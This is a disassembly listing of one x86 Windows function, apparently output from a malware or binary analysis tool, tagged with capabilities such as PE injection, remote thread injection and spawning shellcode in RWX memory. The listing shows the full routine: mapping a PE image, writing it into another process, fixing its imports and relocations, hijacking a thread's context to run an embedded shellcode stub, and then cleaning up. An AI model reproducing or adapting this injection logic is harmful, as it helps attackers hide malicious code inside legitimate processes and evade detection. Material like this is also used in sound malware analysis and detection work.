Function at 0x401670
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate process modules
Execute shellcode via indirect call
Inject pe
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4033b1
mov eax, dword fs:[0]
push eax
mov eax, 0x1920
call fcn.00403320
mov eax, dword [0x40600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x72f430]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402020
mov edi, dword [eax + 0x3c]
add edi, eax
push 0x40
lea eax, [edi + 0x18]
mov dword [ebp - 0x190c], edi
push 0x3000
push dword [eax + 0x38]
mov dword [ebp - 0x1904], eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1900], eax
test eax, eax
je 0x402020
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [0x72f430]
mov dword [ebp - 0x192c], eax
call eax
push 0
push 0x1000
push esi
push dword [ebp - 0x1900]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18f8], eax
call eax
test eax, eax
je 0x40200d
movzx eax, word [edi + 0x14]
xor ecx, ecx
add eax, 0x2c
mov dword [ebp - 0x18fc], ecx
cmp word [edi + 6], cx
je 0x4017ad
add eax, edi
mov dword [ebp - 0x18f4], eax
nop dword [eax]
mov edx, dword [eax - 4]
mov dword [ebp - 0x1024], edx
test edx, edx
je 0x40178f
mov edi, dword [eax]
mov esi, dword [eax - 8]
add edi, dword [0x72f430]
add esi, dword [ebp - 0x1900]
call dword [ebp - 0x192c]
push 0
push dword [ebp - 0x1024]
push edi
push esi
push eax
call dword [ebp - 0x18f8]
test eax, eax
je 0x40200d
mov eax, dword [ebp - 0x18f4]
mov ecx, dword [ebp - 0x18fc]
mov edi, dword [ebp - 0x190c]
add eax, 0x28
inc ecx
mov dword [ebp - 0x18f4], eax
movzx eax, word [edi + 6]
cmp ecx, eax
mov dword [ebp - 0x18fc], ecx
mov eax, dword [ebp - 0x18f4]
jne 0x401740
mov eax, dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
xor esi, esi
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, dword [0x72f430]
mov dword [ebp - 0x1024], eax
cmp byte [edx + esi], 0
jne 0x4017dc
call edi
mov edx, dword [0x72f430]
mov ecx, eax
add cl, byte [edx + esi + 1]
jmp 0x4017f2
push 0
call eax
mov dword [ebp - 0x1c], edx
add esp, 4
mov edx, dword [0x72f430]
mov cl, byte [edx + esi - 1]
sub cl, al
mov byte [ebp + esi - 0x1020], cl
inc esi
mov eax, dword [ebp - 0x1024]
cmp esi, 0x1000
jl 0x4017c6
mov edx, dword [ebp - 0x1904]
push 0x40
push 0x3000
push dword [edx + 0x38]
push 0
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0x18fc], esi
test esi, esi
je 0x402020
push 0
push 0x1000
lea eax, [ebp - 0x1020]
push eax
push esi
push dword [0x72f434]
call dword [ebp - 0x18f8]
test eax, eax
jne 0x40186d
push 0x8000
push eax
push esi
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x402020
mov eax, dword [ebp - 0x190c]
xor edi, edi
movzx esi, word [eax + 0x14]
add esi, 0x2c
cmp word [eax + 6], di
je 0x4018c7
add esi, eax
mov eax, dword [esi - 4]
test eax, eax
je 0x4018b5
push 0
push eax
mov eax, dword [esi]
add eax, dword [0x72f430]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x18fc]
push eax
push dword [0x72f434]
call dword [ebp - 0x18f8]
test eax, eax
je 0x401aab
mov eax, dword [ebp - 0x190c]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jne 0x401884
mov esi, dword [ebp - 0x1900]
mov ecx, esi
mov edx, dword [ebp - 0x1904]
call fcn.00401290
mov eax, dword [0x72f028]
mov ecx, dword [0x72f02c]
mov dword [ebp - 0x18f4], eax
mov dword [ebp - 0x1908], ecx
cmp eax, ecx
je 0x401b7d
nop dword [eax]
push 0x404400
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x401952
push 0
push 5
lea eax, [ebp - 0x20]
push eax
push edi
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi]
mov dword [ebp - 0x18], eax
mov al, byte [edi + 4]
push 0
push 5
mov byte [ebp - 0x14], al
lea eax, [ebp - 0x18]
push eax
push edi
push dword [0x72f434]
call dword [ebp - 0x18f8]
push 4
push 0x3000
push 0x104
push 0
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, dword [ebp - 0x18f4]
mov esi, eax
mov edx, dword [edx]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x1024], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401981
sub ecx, dword [ebp - 0x1024]
push 0
lea eax, [ecx + 1]
push eax
push edx
push esi
push dword [0x72f434]
call dword [ebp - 0x18f8]
push 0
push 4
push esi
push 0x406560
push 0
push 0
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0x2c8
mov esi, eax
lea eax, [ebp - 0x13fc]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x1400], 0x1003f
lea eax, [ebp - 0x1400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x401c09
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1350], eax
lea eax, [ebp - 0x1400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x401c09
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x401c09
push 0
push 5
lea eax, [ebp - 0x20]
push eax
push edi
push dword [0x72f434]
call dword [ebp - 0x18f8]
test esi, esi
je 0x401a45
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x18f4]
mov eax, dword [edi + 8]
add eax, dword [ebp - 0x18fc]
push dword [edi]
mov esi, dword [edi + 4]
mov dword [ebp - 0x1028], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [edi]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x72f434]
mov edi, dword [edi]
sub esi, eax
mov dword [ebp - 0x1024], esi
mov dword [ebp - 0x18f0], 0x224
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push eax
push 0x18
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
jne 0x401ac9
jmp 0x401b39
push 0x8000
push 0
push dword [ebp - 0x18fc]
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x402020
lea eax, [ebp - 0x18f0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32First]
lea eax, [ebp - 0x18f0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x401b33
nop dword [eax]
mov eax, edi
lea ecx, [ebp - 0x18d0]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401b18
test dl, dl
je 0x401b14
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401b18
add ecx, 2
add eax, 2
test dl, dl
jne 0x401af8
xor eax, eax
jmp 0x401b1d
sbb eax, eax
or eax, 1
test eax, eax
je 0x401b33
lea eax, [ebp - 0x18f0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x401af0
mov eax, dword [ebp - 0x18dc]
add dword [ebp - 0x1024], eax
lea eax, [ebp - 0x1024]
push 0
push 4
push eax
push dword [ebp - 0x1028]
push dword [0x72f434]
call dword [ebp - 0x18f8]
mov esi, dword [ebp - 0x18f4]
add esi, 0xc
mov dword [ebp - 0x18f4], esi
cmp esi, dword [ebp - 0x1908]
jne 0x401900
mov esi, dword [ebp - 0x1900]
mov ecx, dword [ebp - 0x1904]
mov eax, dword [ecx + 0x8c]
test eax, eax
je 0x401c47
mov edx, dword [ecx + 0x88]
add edx, esi
add eax, edx
mov dword [ebp - 0x18f4], edx
mov dword [ebp - 0x18], eax
cmp edx, eax
jae 0x401c47
nop dword [eax]
mov edi, dword [edx + 4]
lea eax, [edx + 4]
mov dword [ebp - 0x1028], eax
test edi, edi
je 0x401c47
add edi, 0xfffffff8
lea esi, [edx + 8]
shr edi, 1
je 0x401c36
nop
movzx eax, word [esi]
mov ecx, eax
and ecx, 0xf000
cmp ecx, 0x3000
jne 0x401c28
mov ecx, dword [0x72f038]
and eax, 0xfff
add eax, dword [edx]
mov dword [ebp - 0x1908], eax
cmp ecx, dword [0x72f03c]
je 0x401c15
mov dword [ecx], eax
add dword [0x72f038], 4
jmp 0x401c28
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402020
lea eax, [ebp - 0x1908]
push eax
push ecx
call fcn.00402190
mov edx, dword [ebp - 0x18f4]
add esi, 2
sub edi, 1
jne 0x401bd0
mov eax, dword [ebp - 0x1028]
add edx, dword [eax]
mov dword [ebp - 0x18f4], edx
cmp edx, dword [ebp - 0x18]
jb 0x401bb0
mov edx, dword [ebp - 0x1904]
mov ecx, dword [ebp - 0x18fc]
mov eax, ecx
mov edi, dword [0x72f034]
sub eax, dword [edx + 0x1c]
mov dword [ebp - 0x1908], eax
mov eax, dword [0x72f038]
mov dword [ebp - 0x18f4], eax
cmp edi, eax
je 0x401cc4
mov esi, dword [edi]
lea eax, [ebp - 0x18]
push 0
push 4
push eax
add esi, ecx
push esi
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x1908]
push 0
push 4
mov dword [ebp - 0x1028], eax
lea eax, [ebp - 0x1028]
push eax
push esi
push dword [0x72f434]
call dword [ebp - 0x18f8]
mov ecx, dword [ebp - 0x18fc]
add edi, 4
cmp edi, dword [ebp - 0x18f4]
jne 0x401c73
push 0x20
push 0x3000
push 0x108
push 0
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x1134], eax
lea eax, [ebp - 0x1130]
push 0x104
push eax
push 0
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x108
lea eax, [ebp - 0x1134]
push eax
push esi
push dword [0x72f434]
call dword [ebp - 0x18f8]
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x72f444]
cmp eax, dword [ecx + 4]
jle 0x401e57
push 0x72f444
call fcn.004027c4
add esp, 4
cmp dword [0x72f444], 0xffffffff
jne 0x401e57
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1928]
lea edi, [ebp - 0x190e]
mov dword [ebp - 0x1928], 0x68e58955
mov dword [ebp - 0x1924], 0xdeadbeef
mov dword [ebp - 0x1920], 0xef68016a
mov dword [ebp - 0x191c], 0xb8deadbe
mov dword [ebp - 0x1918], 0xdeadbeef
mov dword [ebp - 0x1914], 0xec89d0ff
mov word [ebp - 0x1910], 0xc35d
mov dword [0x72f438], 0
mov dword [0x72f43c], 0
mov dword [0x72f440], 0
sub edi, eax
je 0x401e40
cmp edi, 0x7fffffff
ja 0x40203b
cmp edi, 0x1000
jb 0x401e0a
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x402040
push eax
call fcn.00402828
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x401e04
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x401e13
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edi
call fcn.00402828
add esp, 4
push edi
lea ecx, [ebp - 0x1928]
mov dword [0x72f438], eax
push ecx
lea esi, [eax + edi]
mov dword [0x72f43c], eax
push eax
mov dword [0x72f440], esi
call sub.VCRUNTIME140.dll_memmove
mov dword [0x72f43c], esi
add esp, 0xc
mov esi, dword [ebp - 0x18]
push 0x4034c0
call fcn.00402720
push 0x72f444
call fcn.00402773
add esp, 8
mov eax, dword [0x72f438]
mov edx, dword [ebp - 0x18fc]
push 0x40
push 0x3000
mov dword [eax + 4], esi
mov eax, dword [0x72f438]
mov dword [eax + 0xb], edx
mov eax, dword [ebp - 0x1904]
mov ecx, dword [eax + 0x10]
mov eax, dword [0x72f438]
add ecx, edx
mov dword [eax + 0x10], ecx
mov eax, dword [0x72f43c]
sub eax, dword [0x72f438]
push eax
push 0
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x402020
mov edx, dword [0x72f43c]
mov ecx, dword [0x72f438]
sub edx, ecx
push 0
push edx
push ecx
push edi
push dword [0x72f434]
call dword [ebp - 0x18f8]
test eax, eax
jne 0x401eda
push 0x8000
push eax
push edi
jmp 0x40201a
push 0
push 4
push 0
push 0x406560
push 0
push 0
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x402020
push 0x2c8
lea eax, [ebp - 0x16c8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x16cc], 0x1003f
lea eax, [ebp - 0x16cc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x401c09
lea eax, [ebp - 0x16cc]
mov dword [ebp - 0x161c], edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x401c09
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x401c09
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x9c4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x190c]
lea eax, [ebp - 0x102c]
push eax
push 2
movzx eax, word [ecx + 0x14]
push dword [eax + ecx + 0x24]
push dword [ebp - 0x18fc]
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 0x1904]
mov esi, dword [eax + 0x38]
call dword [ebp - 0x192c]
push 0
push esi
mov esi, dword [ebp - 0x18f8]
push 0
push dword [ebp - 0x1900]
push eax
call esi
push 0x8000
push 0
push dword [ebp - 0x1900]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x72f43c]
sub eax, dword [0x72f438]
push 0
push eax
push 0
push edi
push dword [0x72f434]
call esi
push 0x8000
push 0
push edi
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [0x72f434]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402020
push 0x8000
push 0
push dword [ebp - 0x1900]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004024d6
mov esp, ebp
pop ebp
ret
call fcn.00402050
call fcn.004011f0
int3